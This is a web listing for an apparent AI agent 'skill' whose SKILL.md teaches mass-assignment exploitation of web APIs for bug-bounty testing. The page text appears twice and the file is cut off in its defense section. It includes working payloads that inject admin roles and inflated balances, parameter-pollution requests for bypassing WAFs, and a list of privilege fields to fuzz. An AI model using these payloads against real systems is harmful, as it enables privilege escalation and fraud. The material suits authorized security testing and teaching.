api-mass-assignment-exploitation

Name: api-mass-assignment-exploitation
Author: ShulkwiSEC

18stars5forks

How to install api-mass-assignment-exploitation?

shulkwisec/bb-huge/api-mass-assignment-exploitation

$npx -y skills add ShulkwiSEC/bb-huge --skill api-mass-assignment-exploitation

Installs into the current project.

Summary

Identify and exploit Mass Assignment vulnerabilities in APIs. Use this skill when testing REST APIs or application forms that directly map user-supplied JSON or POST input to internal database objects. An attacker can inject undocumented variables (e.g., is_admin, verified) t

Files · 1

View on GitHub

SKILL.md

1	# API Mass Assignment Exploitation
2
3	## When to Use
4	- When testing applications built on modern MVC web frameworks (e.g., Ruby on Rails, Spring Boot, Laravel, Node.js ORMs) that emphasize rapid automated data-binding logic.
5	- During user registration (`POST /api/users/register`) where you want to test allocating non-standard privileges straight into the database.
6	- When updating user profiles (`PUT /api/users/profile`) where sensitive keys might reside.
7	- When you have discovered API documentation (Swagger) outlining extended fields you cannot normally see in the frontend app.
8
9
10	## Prerequisites
11	- Authorized scope and target URLs from bug bounty program
12	- Burp Suite Professional (or Community) configured with browser proxy
13	- Familiarity with OWASP Top 10 and common web vulnerability classes
14	- SecLists wordlists for fuzzing and enumeration
15
16	## Workflow
17
18	### Phase 1: Identifying the Input-to-Object Mapping
19
20	```http
21	# Concept: Mass Assignment occurs when a developer writes code like:
22	# `user.update(request.body)` instead of specifically declaring what can be updated:
23	# `user.update(name = request.body.name, age = request.body.age)`
24	# If you inject `{"role": "admin"}`, the database blindly merges it.
25
26	# 1. Analyze normal requests:
27	PUT /api/v1/profile HTTP/1.1
28	Content-Type: application/json
29
30	{"first_name": "Bob", "last_name": "Smith"}
31
32	# 2. Analyze the response:
33	HTTP/1.1 200 OK
34	{"id": 512, "first_name": "Bob", "last_name": "Smith", "role": "user", "balance": 0.00}
35
36	# Observation: The response leaked the variables "role" and "balance" indicating they exist as properties within the backend object!
37	```
38
39	### Phase 2: Exploitation via JSON Injection
40
41	```json
42	# Concept: Since we know the internal names of the prohibited variables from Phase 1,
43	# we inject them into the standard PUT request.
44
45	# 1. Inject the payload:
46	PUT /api/v1/profile HTTP/1.1
47
48	{"first_name": "Bob", "last_name": "Smith", "role": "admin", "balance": 99999.00}
49
50	# 2. Assessment:
51	# If the server responds with 200 OK, and you log out and back in and verify you have administrative controls or $99,999 in funds, the vulnerability is confirmed.
52	```
53
54	### Phase 3: Exploitation via HTTP Parameter Pollution (HPP)
55
56	```text
57	# Concept: Sometimes the server rejects unexpected JSON elements perfectly.
58	# However, if using URL forms, providing duplicate parameters can confuse the backend parser.
59
60	# 1. Standard POST request:
61	POST /update_profile
62	first_name=Bob&last_name=Smith
63
64	# 2. Injecting malicious properties:
65	POST /update_profile
66	first_name=Bob&last_name=Smith&role=admin
67
68	# 3. HTTP Parameter Pollution (Providing the variable twice to override filters/WAFs):
69	# The WAF sees the first `role`, thinks it's restricted, but the backend processes the SECOND `role`.
70	POST /update_profile
71	first_name=Bob&last_name=Smith&role=user&role=admin
72	```
73
74	### Phase 4: Blind Parameter Discovery
75
76	```text
77	# Concept: What if the API response doesn't conveniently echo back the existing variables like `balance` or `role`?
78	# We must use Fuzzing (e.g., Arjun or Burp Intruder) to guess high-value property names.
79
80	# Common Mass Assignment Targets:
81	"is_admin": true
82	"isAdmin": true
83	"role": 1
84	"is_verified": true
85	"mfa_enabled": false
86	"account_type": "premium"
87	"status": "active"
88	"permissions": 999
89	"wallet_balance": 500
90
91	# Action: Build a JSON list merging these variables into your standard profile update, and monitor
92	# the behavior of the application going forward. If suddenly you pass paywalls, Mass Assignment worked.
93	```
94
95	#### Decision Point 🔀
96	```mermaid
97	flowchart TD
98	A[Monitor API Response JSON] --> B{Does it leak internal properties?}
99	B -->\|Yes\| C[Copy leaked properties (e.g., `role`, `status`)]
100	B -->\|No\| D[Use wordlist to guess high-value properties]
101	C --> E[Inject properties into standard PUT/POST requests]
102	D --> E
103	E --> F{Does it update the database?}
104	F -->\|Yes\| G[High Severity: Privilege Escalation]
105	F -->\|No\| H[Test with Parameter Pollution 'val=user&val=admin']
106	```
107
108
109	## 🔵 Blue Team Detection & Defense
110	- Explicit Field Overrides (DTOs): Stop passing raw internet HTTP dictionaries directly to database ORM functions. Strictly enforce the usage of Data Transfer Objects (DT

People who liked this also viewed

6 picks

Type

api-mass-assignment-exploitation

18stars5forks

View on GitHub

How to install api-mass-assignment-exploitation?

shulkwisec/bb-huge/api-mass-assignment-exploitation

$npx -y skills add ShulkwiSEC/bb-huge --skill api-mass-assignment-exploitation

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# API Mass Assignment Exploitation
2
3	## When to Use
4	- When testing applications built on modern MVC web frameworks (e.g., Ruby on Rails, Spring Boot, Laravel, Node.js ORMs) that emphasize rapid automated data-binding logic.
5	- During user registration (`POST /api/users/register`) where you want to test allocating non-standard privileges straight into the database.
6	- When updating user profiles (`PUT /api/users/profile`) where sensitive keys might reside.
7	- When you have discovered API documentation (Swagger) outlining extended fields you cannot normally see in the frontend app.
8
9
10	## Prerequisites
11	- Authorized scope and target URLs from bug bounty program
12	- Burp Suite Professional (or Community) configured with browser proxy
13	- Familiarity with OWASP Top 10 and common web vulnerability classes
14	- SecLists wordlists for fuzzing and enumeration
15
16	## Workflow
17
18	### Phase 1: Identifying the Input-to-Object Mapping
19
20	```http
21	# Concept: Mass Assignment occurs when a developer writes code like:
22	# `user.update(request.body)` instead of specifically declaring what can be updated:
23	# `user.update(name = request.body.name, age = request.body.age)`
24	# If you inject `{"role": "admin"}`, the database blindly merges it.
25
26	# 1. Analyze normal requests:
27	PUT /api/v1/profile HTTP/1.1
28	Content-Type: application/json
29
30	{"first_name": "Bob", "last_name": "Smith"}
31
32	# 2. Analyze the response:
33	HTTP/1.1 200 OK
34	{"id": 512, "first_name": "Bob", "last_name": "Smith", "role": "user", "balance": 0.00}
35
36	# Observation: The response leaked the variables "role" and "balance" indicating they exist as properties within the backend object!
37	```
38
39	### Phase 2: Exploitation via JSON Injection
40
41	```json
42	# Concept: Since we know the internal names of the prohibited variables from Phase 1,
43	# we inject them into the standard PUT request.
44
45	# 1. Inject the payload:
46	PUT /api/v1/profile HTTP/1.1
47
48	{"first_name": "Bob", "last_name": "Smith", "role": "admin", "balance": 99999.00}
49
50	# 2. Assessment:
51	# If the server responds with 200 OK, and you log out and back in and verify you have administrative controls or $99,999 in funds, the vulnerability is confirmed.
52	```
53
54	### Phase 3: Exploitation via HTTP Parameter Pollution (HPP)
55
56	```text
57	# Concept: Sometimes the server rejects unexpected JSON elements perfectly.
58	# However, if using URL forms, providing duplicate parameters can confuse the backend parser.
59
60	# 1. Standard POST request:
61	POST /update_profile
62	first_name=Bob&last_name=Smith
63
64	# 2. Injecting malicious properties:
65	POST /update_profile
66	first_name=Bob&last_name=Smith&role=admin
67
68	# 3. HTTP Parameter Pollution (Providing the variable twice to override filters/WAFs):
69	# The WAF sees the first `role`, thinks it's restricted, but the backend processes the SECOND `role`.
70	POST /update_profile
71	first_name=Bob&last_name=Smith&role=user&role=admin
72	```
73
74	### Phase 4: Blind Parameter Discovery
75
76	```text
77	# Concept: What if the API response doesn't conveniently echo back the existing variables like `balance` or `role`?
78	# We must use Fuzzing (e.g., Arjun or Burp Intruder) to guess high-value property names.
79
80	# Common Mass Assignment Targets:
81	"is_admin": true
82	"isAdmin": true
83	"role": 1
84	"is_verified": true
85	"mfa_enabled": false
86	"account_type": "premium"
87	"status": "active"
88	"permissions": 999
89	"wallet_balance": 500
90
91	# Action: Build a JSON list merging these variables into your standard profile update, and monitor
92	# the behavior of the application going forward. If suddenly you pass paywalls, Mass Assignment worked.
93	```
94
95	#### Decision Point 🔀
96	```mermaid
97	flowchart TD
98	A[Monitor API Response JSON] --> B{Does it leak internal properties?}
99	B -->\|Yes\| C[Copy leaked properties (e.g., `role`, `status`)]
100	B -->\|No\| D[Use wordlist to guess high-value properties]
101	C --> E[Inject properties into standard PUT/POST requests]
102	D --> E
103	E --> F{Does it update the database?}
104	F -->\|Yes\| G[High Severity: Privilege Escalation]
105	F -->\|No\| H[Test with Parameter Pollution 'val=user&val=admin']
106	```
107
108
109	## 🔵 Blue Team Detection & Defense
110	- Explicit Field Overrides (DTOs): Stop passing raw internet HTTP dictionaries directly to database ORM functions. Strictly enforce the usage of Data Transfer Objects (DT

People who liked this also viewed

6 picks

Type